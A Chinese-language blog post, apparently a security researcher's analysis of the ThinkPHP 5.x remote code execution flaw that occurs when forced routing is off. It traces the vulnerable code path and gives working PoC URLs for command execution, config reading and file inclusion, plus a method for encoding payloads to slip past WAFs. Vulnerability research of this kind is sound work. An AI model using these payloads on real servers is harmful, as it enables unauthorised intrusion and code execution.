ThinkPHP未开启强制路由导致的RCE
简介
此漏洞是因为框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。
漏洞的核心在于通过反射调用
影响版本
5.0.5<=ThinkPHP<=5.0.225.1.0<=ThinkPHP<=5.1.30
5.0.5版本有所不一样(低版本),具体没测
公开POC
5.1.x
1 | ?s=index/\think\Request/input&filter[]=system&data=pwd |
5.0.x
1 | ?s=index/think\config/get&name=database.username # 获取配置信息 |
漏洞分析
这里以ThinkPHP5.0为例,重点关注两点
- 为什么
5.0中没办法调用Request类 - 为什么没有直接调用
Php类的poc
第一个问题
在进行反射时,如果目标类存在构造方法,会首先调用构造方法

通过反射调用的方法的属性为public
但是在ThinkPHP5.0中Request类得构造方法的属性为protected

导致,在5.0中使用5.1的poc会报如下错误

第二个问题
这个问题主要在于下面这段代码

将我们传入的controller变量变成了小写
在判断类是否存在的时候,会自动触发autoload方法

在linux下,直接就是找不到文件

所以在Windows下有多了一个判断真实路径和获取到的文件的文件名是否一致
比如我们调用\think\view\driver\Php
pathinfo($file, PATHINFO_FILENAME)=>php.phppathinfo(realpath($file), PATHINFO_FILENAME)=>Php.php
直接返回false,导致无法包含文件,就不存在这个类,以至于无法调用
流程跟踪
进入App类的run方法后,调用静态方法routeCheck获取路由信息

调用Request类的path方法

通过pathinfo方法获取信息


然后返回到routeCheck方法中经过Route类的parseUrl方法处理后
返回结果如下

返回到App类得run方法中调用exec方法

继续跟进module方法

获取到控制器为\think\config
然后对控制器进行加载

当这个类存在的时候,直接反射这个类

跟进

获取到可调用的类和方法

进行方法的调用

调用incokeArgs执行调用的类的方法

成功进入config类的get方法

最终获取到数据库的用户名

当然还有其他的payload可以用
比如命令执行的
1 | ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id |
效果如下

其他
由于自动加载类加载不到想要的类文件,所以能够下手的就是在框架加载的时候已经加载的类。
5.1自动加载的类
1 | think\Loader |
5.0自动加载的类
1 | think\Route |
所以只能在这十一个类中做文章
具体可以看一下,框架中的trace信息

文件包含
第一种
可调用lang类的load方法

poc
1 | ?s=index/\think\lang/load&file=1.txt |
成功进入load方法

包含成功

第二种
loader中的__include_file方法,不过要结合之前的命令执行的
poc
1 | ?s=index/\think\app/invokefunction&function=\think\__include_file&vars[0]=1.txt |
包含成功

代码执行
想要代码执行,最后肯定调用Php类的eval函数
那么就存在一个必须绕过的文件,传入的参数被strtolower处理的问题
其实不难发现
参数是受convert控制的,而convert是受config的配置控制的

也就是在第一次进行反射调用的时候,这个config我们是不可以控制的
那第二次呢,我们可以在一次调用module方法,并赋予其config参数,就可以实现任意类的加载
具体过程不在细数
poc
1 | POST /?s=index/\think\app/module |
效果

优化
影响版本
<=5.0.18- 因为在
19以上的版本,display方法中使用了$this
这样的poc我们要执行的代码直接在传参中暴露,肯定被各种waf杀的44的
如何对poc进行处理呢,比如说多次解码后传入eval
这个时候就有一次想到了Request类,只有这个类中可以循环调用filter对payload进行过滤
但是问题又来了,没办法通过反射调用
既然会卡死在__construct上,而这个方法是在invokeClass触发的,那可不可以直接跳过这个方法呢
尝试直接调用invokeMethod

但是发现第一个参数必须是object那没戏了
那只能试试controller方法的elseif分支了

跟进后发现,竟然是app的,放弃
直接调用是不行了,如何做到间接调用呢
需要一个foreach循环
collection类下面有个each方法
- 第一遍先关闭报错
- 第二次调用
Request的method方法,进行设置filter

调式
这个样子是可以成功调用到Request类的method方法的但是由于是通过静态方式调用的method,所以会出现以下错误

再次放弃
隔了一晚上
直接查看input方法,发现虽然没有调用成员变量,但是肯定通过$this调用了成员方法
什么情况下允许,动静态的同时存在呢,在同一个类中
比如如下测试

所以可以查找直接动态调用input方法的,或者通过__call方法实现,但是相对就特别麻烦了
小知识点
call_user_func_array在回调时会把第二个数组的参数,分别赋值给被调用的方法array_filter第一个数组的参数将会循环被调用过滤

这时突然想起来,思维被限制了,在框架里面不是有助手函数嘛,这么费劲干嘛
而且助手函数是在一开始就被加载的,直接调用助手函数
这种情况下是可以完成命令执行的

接下来优化一下
注意一点此时的method已经是POST,所以无法通过method方法调用__construct完成初始化操作
由于array_walk_recursive的存在,无法直接调用__construct,因为无法传入数组

寻找这么一个函数,返回的结果和传参无关,其实通过server接受的很多都无关,但为了不影响http报文
选择了post,其实cookie或者get也可以的
error_reporting=>0关闭报错- 关闭报错后会返回一个固定得值
32767,通过post获取参数值 - 调用解码函数
- 调用
Php的display
poc
注意参数顺序
1 | POST /?s=index/\think\app/invokefunction |
想要多次编码,直接添加过滤器即可

小于5.0.5版本
由于代码存在差异,如果用之前的payload,
strpos($name, '\\')得到的结果为0,就不会进入条件,所以

删除think前面的反斜线即可













